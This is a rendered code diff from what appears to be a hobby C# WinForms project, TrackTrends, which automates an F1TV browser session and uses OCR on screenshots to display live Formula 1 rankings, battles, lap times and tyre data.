  • recoverCookiesCSV.py @@ -239,42 +254,436 @@

    Form1.cs

    -
    using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Data;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Windows.Forms;
-
-namespace Test_Merge
-{
-    public partial class Form1 : Form
-    { 
-        public Form1()
-        {
-            InitializeComponent();
-        }
-
-        private void btnSettings_Click(object sender, EventArgs e)
-        {
-            Settings settingsForm = new Settings();
-            settingsForm.ShowDialog();
-            MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
-        }
-    }
-}
-
-
    +
    using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Diagnostics;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.IO;
+
+namespace TrackTrends
+{
+    public partial class Main : Form
+    {
+        //private Reader Reader = null;
+        private F1TVEmulator Emulator = null;
+        private DataWrapper Wrapper = null;
+        private bool cancelRequested = false;
+        private SemaphoreSlim semaphore = new SemaphoreSlim(1);
+
+        string ConfigFile = "";
+        string GpUrl = "";
+
+        //For the responsive content
+
+        Size oldSize = new Size();
+        Size oldRankingSize = new Size();
+        Size oldLapTimesSize = new Size();
+        Size oldBattles = new Size();
+
+        Size oldPnlBattles = new Size();
+        Size oldPnlRankings = new Size();
+        Size oldPnlFastest = new Size();
+        Size oldPnlSlowest = new Size();
+
+        Point oldRankingPosition = new Point();
+        Point oldBattlePosition = new Point();
+        Point oldDriverInfoPosition = new Point();
+
+        Point olPnlFastestPosition = new Point();
+        Point oldPnlSlowestPosition = new Point();
+
+        public Main()
+        {
+            InitializeComponent();
+        }
+        public async void RefreshUI()
+        {
+            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
+            {
+                lsbPresets.DataSource = null;
+                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
+            }
+        }
+        private async void btnSettings_Click(object sender, EventArgs e)
+        {
+            if (Emulator != null)
+                Emulator.ResetDriver();
+
+            btnStartDecoding.Enabled = false;
+            btnStopUpdating.Enabled = false;
+            btnResetEmulator.Text = "Launch";
+
+            Emulator = null;
+            Wrapper = null;
+
+            GC.Collect();
+
+            Settings settingsForm = new Settings();
+            settingsForm.ShowDialog();
+            RefreshUI();
+            //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
+            if (settingsForm.GrandPrixUrl != "" && settingsForm.SelectedConfigFile != "")
+            {
+                GpUrl = settingsForm.GrandPrixUrl;
+                tbxGpUrl.Text = GpUrl;
+                if (File.Exists(settingsForm.SelectedConfigFile))
+                {
+                    ConfigFile = settingsForm.SelectedConfigFile;
+                    for(int i = 0; i < lsbPresets.Items.Count; i++)
+                    {
+                        if (lsbPresets.Items[i].ToString() == ConfigFile)
+                            lsbPresets.SelectedIndex = i;
+                    }
+                }
+                else
+                {
+                    MessageBox.Show("The config file has not been found please return to the config and change it");
+                }
+            }
+            else
+            {
+                //WE dont care anymore, the user will choose its Grand Prix himself in the main program
+                //MessageBox.Show("There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one");
+            }
+        }
+
+        private async void Form1_Load(object sender, EventArgs e)
+        {
+            //Those are the default values but they will need to be changed later when the configuration has been done
+            ConfigFile = "./Presets/Clean_4K_2023.json";
+            GpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play";
+
+            tbxGpUrl.Text = GpUrl;
+
+            oldSize = this.Size;
+            oldRankingSize = gpbxRanking.Size;
+            oldLapTimesSize = gpbxLapTimes.Size;
+            oldBattles = gpbxBattles.Size;
+
+            oldPnlRankings = pnlLiveRanking.Size;
+            oldPnlBattles = pnlBattles.Size;
+            oldPnlFastest = pnlFastest.Size;
+            oldPnlSlowest = pnlSlowest.Size;
+
+            oldRankingPosition = gpbxRanking.Location;
+            oldBattlePosition = gpbxBattles.Location;
+            oldDriverInfoPosition = gpbxDriverInfos.Location;
+
+            olPnlFastestPosition = pnlFastest.Location;
+            oldPnlSlowestPosition = pnlSlowest.Location;
+
+            tip1.SetToolTip(btnResetEmulator, "Starts or restarts the emulator. You need to start this to use the app");
+            tip1.SetToolTip(btnSettings, "Opens the configuration menu");
+            tip1.SetToolTip(tbxGpUrl, "Insert the URL of the Grand Prix you want to track. Dont forget the \"?action=play\" at the end");
+            tip1.SetToolTip(lsbPresets, "Select a configuration preset to use with the decoding");
+            tip1.SetToolTip(pbxResult,"A preview of what the program sees. You should see the DATA page of the F1TV here");
+            tip1.SetToolTip(lsbOvertakes,"A list of all the activity. You can scroll to see the most recent overtakes");
+            tip1.SetToolTip(gpbxBattles,"The four first battles in the field. A battle is two drivers less than 3 seconds apart");
+            tip1.SetToolTip(gpbxLapTimes,"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest");
+
+            RefreshUI();
+        }
+
+        private async void btnUpdate_Click(object sender, EventArgs e)
+        {
+            cancelRequested = false;
+            if (Emulator != null && Wrapper != null)
+            {
+                // Disable UI controls to prevent re-entrancy
+                btnResetEmulator.Enabled = false;
+                btnStartDecoding.Enabled = false;
+                btnStopUpdating.Enabled = true;
+                btnSettings.Enabled = false;
+                while (!cancelRequested)
+                {
+                    await semaphore.WaitAsync();
+
+                    try
+                    {
+                        // Start the time-consuming task on a separate thread
+                        await Task.Run(async () =>
+                        {
+                            Stopwatch sw = new Stopwatch();
+                            sw.Start();
+
+                            Bitmap screen = Emulator.Screenshot();
+                            screen.Save("HopefullyDataScreenshot.png");
+
+                            Invoke((MethodInvoker)delegate
+                            {
+                                pbxResult.Image = (Bitmap)screen.Clone();
+                            });
+
+                            Wrapper.ChangeImage(screen);
+                            int errorCode = Wrapper.Refresh();
+
+                            sw.Stop();
+                            // Task completed
+                            Invoke((MethodInvoker)delegate
+                            {
+                                DisplayResults(errorCode, sw, screen);
+                                DisplayBattles();
+                                DisplayDeltas();
+                                DisplayOvertakes();
+                            });
+                        });
+                    }
+                    finally
+                    {
+                        semaphore.Release();
+                    }
+                }
+                // Re-enable UI controls
+                btnStopUpdating.Text = "Stop";
+                btnStartDecoding.Enabled = true;
+                btnStopUpdating.Enabled = false;
+                btnResetEmulator.Enabled = true;
+                btnSettings.Enabled = true;
+            }
+        }
+        private void DisplayOvertakes()
+        {
+            Wrapper.DisplayOvertakes(lsbOvertakes);
+        }
+        private void DisplayBattles()
+        {
+            Wrapper.DisplayBattles(pnlBattles, this);
+        }
+        private void DisplayDeltas()
+        {
+            Wrapper.DisplayTimesDeltas(pnlFastest, pnlSlowest, this);
+        }
+        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
+        {
+            if (Emulator != null)
+            {
+                Emulator.Stop();
+            }
+        }
+        private void DisplayResults(int errorCode, Stopwatch sw, Bitmap screen)
+        {
+            if (errorCode != 0)
+            {
+                cancelRequested = true;
+                MessageBox.Show("An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.");
+            }
+            else
+            {
+                Wrapper.DisplayLiveRanking(pnlLiveRanking, this);
+            }
+        }
+
+        private void btnStopUpdating_Click(object sender, EventArgs e)
+        {
+            // Set the cancellation flag
+            cancelRequested = true;
+            btnStopUpdating.Enabled = false;
+            btnResetEmulator.Enabled = false;
+            btnStopUpdating.Text = "Stopping";
+        }
+        private async void button1_Click(object sender, EventArgs e)
+        {
+            lsbOvertakes.Items.Clear();
+            btnResetEmulator.Text = "Launching";
+            btnResetEmulator.Enabled = false;
+            btnSettings.Enabled = true;
+            btnStartDecoding.Enabled = false;
+            btnStopUpdating.Enabled = false;
+            btnSettings.Enabled = false;
+            int errorCode = -1;
+            await Task.Run(async () =>
+            {
+                if (Emulator != null)
+                    Emulator.ResetDriver();
+
+                Emulator = null;
+                Wrapper = null;
+
+                GC.Collect();
+
+                Emulator = new F1TVEmulator(GpUrl);
+                errorCode = await Emulator.Start();
+            });
+
+            if (errorCode != 0)
+            {
+                string message = "";
+                switch (errorCode)
+                {
+                    case 100:
+                        message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
+                        break;
+                    case 101:
+                        message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
+                        break;
+                    case 102:
+                        message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
+                        break;
+                    case 103:
+                        message = "Error " + errorCode + " The url is not a valid url";
+                        break;
+                    case 104:
+                        message = "Error " + errorCode + " The url is not a valid url";
+                        break;
+                    case 105:
+                        message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
+                        break;
+                    case 106:
+                        message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
+                        break;
+                    default:
+                        message = "Could not start the emulator Error " + errorCode;
+                        break;
+                }
+                MessageBox.Show(message);
+
+                btnResetEmulator.Enabled = true;
+                btnSettings.Enabled = true;
+                btnResetEmulator.Text = "Retry";
+            }
+            else
+            {
+                Wrapper = new DataWrapper(ConfigFile, Emulator.Screenshot());
+                btnResetEmulator.Text = "Re launch";
+                btnResetEmulator.Enabled = true;
+                btnSettings.Enabled = true;
+                btnStartDecoding.Enabled = true;
+            }
+        }
+        private void removeBorders(object sender, PaintEventArgs e)
+        {
+            GroupBox gpbx = (GroupBox)sender;
+
+            using (Pen pen = new Pen(gpbx.BackColor, 50))
+            {
+                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
+                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
+            }
+
+            using (var brush = new SolidBrush(gpbx.ForeColor))
+            {
+                var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
+                e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
+            }
+        }
+        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
+        {
+            if (lsbPresets.SelectedIndex >= 0)
+                ConfigFile = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
+        }
+
+        private void textBox1_TextChanged(object sender, EventArgs e)
+        {
+            if (tbxGpUrl.Text != "")
+                GpUrl = tbxGpUrl.Text;
+        }
+        public void btnDriver_Click(object sender, EventArgs e)
+        {
+            //Removes the cover
+            if (pnlCover.Visible = true)
+                pnlCover.Visible = false;
+            //Happens when a driver button has been clicked
+            //MessageBox.Show((sender as Button).Name + " has been selected");
+            Button btn = (sender as Button);
+            string[] parts = btn.Name.Split('_');
+            DriverData driver = Wrapper.GetFullDriverData(parts[0], pnlCurrentDriverLapsHistory, this);
+            lblCurrentDriverName.Text = driver.Name;
+            lblCurrentDriverPosition.Text = driver.Position.ToString();
+            lblCurrentDriverGapToLeader.Text = Reader.ConvertMsToTime(driver.GapToLeader);
+            lblCurrentDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime);
+            lblCurrentDriverTyreAge.Text = driver.CurrentTyre.NumberOfLaps.ToString();
+            if (driver.DRS)
+            {
+                lblCurrentDriverDRS.Text = "Open";
+                lblCurrentDriverDRS.ForeColor = Color.FromArgb(0, 164, 46);
+            }
+            else
+            {
+                lblCurrentDriverDRS.Text = "Closed";
+                lblCurrentDriverDRS.ForeColor = Color.Black;
+            }
+            switch (driver.CurrentTyre.Coumpound)
+            {
+                case Tyre.Type.Undefined:
+                    lblCurrentDriverTyreType.Text = "uuuuh...";
+                    lblCurrentDriverTyreType.ForeColor = Color.Violet;
+                    break;
+                case Tyre.Type.Hard:
+                    lblCurrentDriverTyreType.Text = "Hard";
+                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(164, 165, 168);
+                    break;
+                case Tyre.Type.Medium:
+                    lblCurrentDriverTyreType.Text = "Medium";
+                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(245, 191, 0);
+                    break;
+                case Tyre.Type.Soft:
+                    lblCurrentDriverTyreType.Text = "Soft";
+                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(255, 0, 0);
+                    break;
+                case Tyre.Type.Inter:
+                    lblCurrentDriverTyreType.Text = "Intermediate";
+                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(0, 164, 46);
+                    break;
+                case Tyre.Type.Wet:
+                    lblCurrentDriverTyreType.Text = "Wet";
+                    lblCurrentDriverTyreType.ForeColor = Color.FromArgb(39, 96, 166);
+                    break;
+            }
+        }
+        public void btnLapTime_Click(object sender, EventArgs e)
+        {
+            //Happens when a lapTime has been clicked
+            Button btn = sender as Button;
+            string[] parts = btn.Name.Split('_');
+            Wrapper.DisplayLapTimeInfos(parts[0], Convert.ToInt32(parts[1]), btn.Text);
+        }
+
+        private void Main_Resize(object sender, EventArgs e)
+        {
+            int xDiff = this.Width - oldSize.Width;
+            int yDiff = this.Height - oldSize.Height;
+            int padding = 10;
+            //This will take half the newly created space
+            gpbxRanking.Size = new Size(oldRankingSize.Width + xDiff / 2, oldRankingSize.Height + yDiff);
+            gpbxRanking.Location = new Point(oldRankingPosition.X + xDiff / 2, gpbxRanking.Location.Y);
+            //Will take half the new height and half the new height
+            gpbxLapTimes.Size = new Size(oldLapTimesSize.Width + xDiff / 2, oldLapTimesSize.Height + yDiff / 2);
+            //Will take half the new height and half the new width
+            gpbxBattles.Size = new Size(oldBattles.Width + xDiff / 2, oldBattles.Height + yDiff / 2);
+            gpbxBattles.Location = new Point(gpbxBattles.Location.X, oldBattlePosition.Y + yDiff / 2);
+            //The infos wont change width but will need to be centerd
+            Point startOfZone = new Point(gpbxOvertakes.Width + gpbxOvertakes.Location.X, gpbxOvertakes.Location.Y);
+            Point endOfZone = new Point(gpbxRanking.Location.X, gpbxOvertakes.Location.Y);
+            int totalWidth = endOfZone.X - startOfZone.X;
+            gpbxDriverInfos.Location = new Point(startOfZone.X + (totalWidth / 2 - gpbxDriverInfos.Width / 2), oldDriverInfoPosition.Y + yDiff);
+            //Now resizing internals
+            pnlFastest.Size = new Size(oldPnlFastest.Width + xDiff / 4,oldPnlFastest.Height + yDiff / 4);
+            pnlFastest.Location = new Point(olPnlFastestPosition.X,olPnlFastestPosition.Y + yDiff / 4);
+
+            pnlSlowest.Size = new Size(oldPnlSlowest.Width + xDiff / 4, oldPnlSlowest.Height + yDiff / 4);
+            pnlSlowest.Location = new Point(oldPnlSlowestPosition.X + xDiff / 4, oldPnlSlowestPosition.Y + yDiff / 4);
+
+            pnlBattles.Size = new Size(oldPnlBattles.Width + xDiff / 2,oldPnlBattles.Height + yDiff / 2);
+
+            pnlLiveRanking.Size = new Size(oldPnlRankings.Width + xDiff / 2,oldPnlRankings.Height + yDiff);
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,547 +254,680 @@

    OcrImage.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : OcrImage.cs
-/// Brief : Class containing all the methods used to enhance images for OCR
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Threading.Tasks;
-using System.Drawing;
-using System.Drawing.Drawing2D;
-using System.Drawing.Imaging;
-
-namespace Test_Merge
-{
-    public class OcrImage
-    {
-        //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
-        //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
-        public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
-        Bitmap InputBitmap;
-        public enum WindowType
-        {
-            LapTime,
-            Text,
-            Sector,
-            Gap,
-            Tyre,
-        }
-
-        /// <summary>
-        /// Create a new Ocr image to help enhance the given bitmap for OCR
-        /// </summary>
-        /// <param name="inputBitmap">The image you want to enhance</param>
-        public OcrImage(Bitmap inputBitmap)
-        {
-            InputBitmap = inputBitmap;
-        }
-        /// <summary>
-        /// Enhances the image depending on wich type of window the image comes from
-        /// </summary>
-        /// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
-        /// <returns>The enhanced Bitmap</returns>
-        public Bitmap Enhance(WindowType type = WindowType.Text)
-        {
-            Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
-            switch (type)
-            {
-                case WindowType.LapTime:
-                    outputBitmap = Tresholding(outputBitmap, 185);
-                    outputBitmap = Resize(outputBitmap, 2);
-                    outputBitmap = Dilatation(outputBitmap, 1);
-                    outputBitmap = Erode(outputBitmap, 1);
-                    break;
-                case WindowType.Text:
-                    outputBitmap = InvertColors(outputBitmap);
-                    outputBitmap = Tresholding(outputBitmap, 165);
-                    outputBitmap = Resize(outputBitmap, 2);
-                    outputBitmap = Dilatation(outputBitmap, 1);
-                    break;
-                case WindowType.Tyre:
-                    outputBitmap = RemoveUseless(outputBitmap);
-                    outputBitmap = Resize(outputBitmap, 4);
-                    outputBitmap = Dilatation(outputBitmap, 1);
-                    break;
-                default:
-                    outputBitmap = Tresholding(outputBitmap, 165);
-                    outputBitmap = Resize(outputBitmap, 4);
-                    outputBitmap = Erode(outputBitmap, 1);
-                    break;
-            }
-            return outputBitmap;
-        }
-        /// <summary>
-        /// Method that convert a colored RGB bitmap into a GrayScale image 
-        /// </summary>
-        /// <param name="inputBitmap">The Bitmap you want to convert</param>
-        /// <returns>The bitmap in grayscale</returns>
-        public static Bitmap Grayscale(Bitmap inputBitmap)
-        {
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                for (int y = 0; y < inputBitmap.Height; y++)
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < inputBitmap.Width; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        byte blue = pixel[0];
-                        byte green = pixel[1];
-                        byte red = pixel[2];
-
-                        //Those a specific values to correct the weights so its more pleasing to the human eye
-                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
-
-                        pixel[0] = pixel[1] = pixel[2] = (byte)gray;
-                    }
-                }
-            }
-            inputBitmap.UnlockBits(bmpData);
-
-            return inputBitmap;
-        }
-        /// <summary>
-        /// Method that binaries the input image up to a certain treshold given
-        /// </summary>
-        /// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
-        /// <param name="threshold">The floor at wich the color is considered as white or black</param>
-        /// <returns>The binarised bitmap</returns>
-        public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
-        {
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                int bmpHeight = inputBitmap.Height;
-                int bmpWidth = inputBitmap.Width;
-                Parallel.For(0, bmpHeight, y =>
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < bmpWidth; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        byte blue = pixel[0];
-                        byte green = pixel[1];
-                        byte red = pixel[2];
-                        //Those a specific values to correct the weights so its more pleasing to the human eye
-                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
-                        int value = gray < threshold ? 0 : 255;
-
-                        pixel[0] = pixel[1] = pixel[2] = (byte)value;
-                    }
-                });
-            }
-            inputBitmap.UnlockBits(bmpData);
-
-            return inputBitmap;
-        }
-        /// <summary>
-        /// Method that removes the pixels that are flagged as background
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to remove the background from</param>
-        /// <returns>The Bitmap without the background</returns>
-        public static Bitmap RemoveBG(Bitmap inputBitmap)
-        {
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                for (int y = 0; y < inputBitmap.Height; y++)
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < inputBitmap.Width; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        int B = pixel[0];
-                        int G = pixel[1];
-                        int R = pixel[2];
-
-                        if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
-                            pixel[0] = pixel[1] = pixel[2] = 0;
-                    }
-                }
-            }
-            inputBitmap.UnlockBits(bmpData);
-
-            return inputBitmap;
-        }
-        /// <summary>
-        /// Method that removes all the useless things from the image and returns hopefully only the numbers
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
-        /// <returns>The bitmap with (hopefully) only the digits</returns>
-        public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
-        {
-            //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-            for (int y = 0; y < inputBitmap.Height; y++)
-            {
-                byte* currentLine = ptr + (y * bmpData.Stride);
-
-                List<int> pixelsToRemove = new List<int>();
-
-                bool fromBorder = true;
-
-                for (int x = 0; x < inputBitmap.Width; x++)
-                {
-                    byte* pixel = currentLine + (x * bytesPerPixel);
-
-                    int B = pixel[0];
-                    int G = pixel[1];
-                    int R = pixel[2];
-
-                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
-                    {
-                        pixelsToRemove.Add(x);
-                    }
-                    else
-                    {
-                        if (fromBorder)
-                        {
-                            fromBorder = false;
-                            pixelsToRemove.Add(x);
-                        }
-                    }
-                }
-                fromBorder = true;
-                for (int x = inputBitmap.Width - 1; x > 0; x--)
-                {
-                    byte* pixel = currentLine + (x * bytesPerPixel);
-
-                    int B = pixel[0];
-                    int G = pixel[1];
-                    int R = pixel[2];
-
-                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
-                    {
-                        pixelsToRemove.Add(x);
-                    }
-                    else
-                    {
-                        if (fromBorder)
-                        {
-                            fromBorder = false;
-                            pixelsToRemove.Add(x);
-                        }
-                    }
-                }
-
-                foreach (int pxPos in pixelsToRemove)
-                {
-                    byte* pixel = currentLine + (pxPos * bytesPerPixel);
-
-                    pixel[0] = 0xFF;
-                    pixel[1] = 0xFF;
-                    pixel[2] = 0xFF;
-                }
-            }
-
-            //Removing the color parts
-            for (int y = 0; y < inputBitmap.Height; y++)
-            {
-                byte* currentLine = ptr + (y * bmpData.Stride);
-                for (int x = 0; x < inputBitmap.Width; x++)
-                {
-                    byte* pixel = currentLine + (x * bytesPerPixel);
-
-                    int B = pixel[0];
-                    int G = pixel[1];
-                    int R = pixel[2];
-
-                    if (R >= F1TV_BACKGROUND_TRESHOLD.R + 15 || G >= F1TV_BACKGROUND_TRESHOLD.G + 15 || B >= F1TV_BACKGROUND_TRESHOLD.B + 15)
-                    {
-                        pixel[0] = 0xFF;
-                        pixel[1] = 0xFF;
-                        pixel[2] = 0xFF;
-                    }
-                }
-            }
-
-            inputBitmap.UnlockBits(bmpData);
-            return inputBitmap;
-        }
-        /// <summary>
-        /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to get the average color from</param>
-        /// <returns>The average color of the bitmap</returns>
-        public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
-        {
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            int totR = 0;
-            int totG = 0;
-            int totB = 0;
-
-            int totPixels = 1;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                int bmpHeight = inputBitmap.Height;
-                int bmpWidth = inputBitmap.Width;
-                Parallel.For(0, bmpHeight, y =>
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < bmpWidth; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        int B = pixel[0];
-                        int G = pixel[1];
-                        int R = pixel[2];
-
-                        if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
-                        {
-                            totPixels++;
-                            totB += pixel[0];
-                            totG += pixel[1];
-                            totR += pixel[2];
-                        }
-                    }
-                });
-            }
-            inputBitmap.UnlockBits(bmpData);
-
-            return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels));
-        }
-        /// <summary>
-        /// This method simply inverts all the colors in a Bitmap
-        /// </summary>
-        /// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
-        /// <returns>The bitmap with inverted colors</returns>
-        public static Bitmap InvertColors(Bitmap inputBitmap)
-        {
-            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
-            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
-            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
-
-            unsafe
-            {
-                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
-                for (int y = 0; y < inputBitmap.Height; y++)
-                {
-                    byte* currentLine = ptr + (y * bmpData.Stride);
-                    for (int x = 0; x < inputBitmap.Width; x++)
-                    {
-                        byte* pixel = currentLine + (x * bytesPerPixel);
-
-                        pixel[0] = (byte)(255 - pixel[0]);
-                        pixel[1] = (byte)(255 - pixel[1]);
-                        pixel[2] = (byte)(255 - pixel[2]);
-                    }
-                }
-            }
-            inputBitmap.UnlockBits(bmpData);
-
-            return inputBitmap;
-        }
-        /// <summary>
-        /// Methods that applies Bicubic interpolation to increase the size and resolution of an image
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to resize</param>
-        /// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
-        /// <returns>The bitmap witht the new size</returns>
-        public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
-        {
-            var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
-
-            using (var graphics = Graphics.FromImage(resultBitmap))
-            {
-                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
-                graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
-            }
-
-            return resultBitmap;
-        }
-        /// <summary>
-        /// method that Highlights the countours of a Bitmap
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
-        /// <returns>The bitmap with countours highlighted</returns>
-        public static Bitmap HighlightContours(Bitmap inputBitmap)
-        {
-            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
-
-            Bitmap grayscale = Grayscale(inputBitmap);
-            Bitmap thresholded = Tresholding(grayscale, 128);
-            Bitmap dilated = Dilatation(thresholded, 3);
-            Bitmap eroded = Erode(dilated, 3);
-
-            for (int y = 0; y < inputBitmap.Height; y++)
-            {
-                for (int x = 0; x < inputBitmap.Width; x++)
-                {
-                    Color pixel = inputBitmap.GetPixel(x, y);
-                    Color dilatedPixel = dilated.GetPixel(x, y);
-                    Color erodedPixel = eroded.GetPixel(x, y);
-
-                    int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
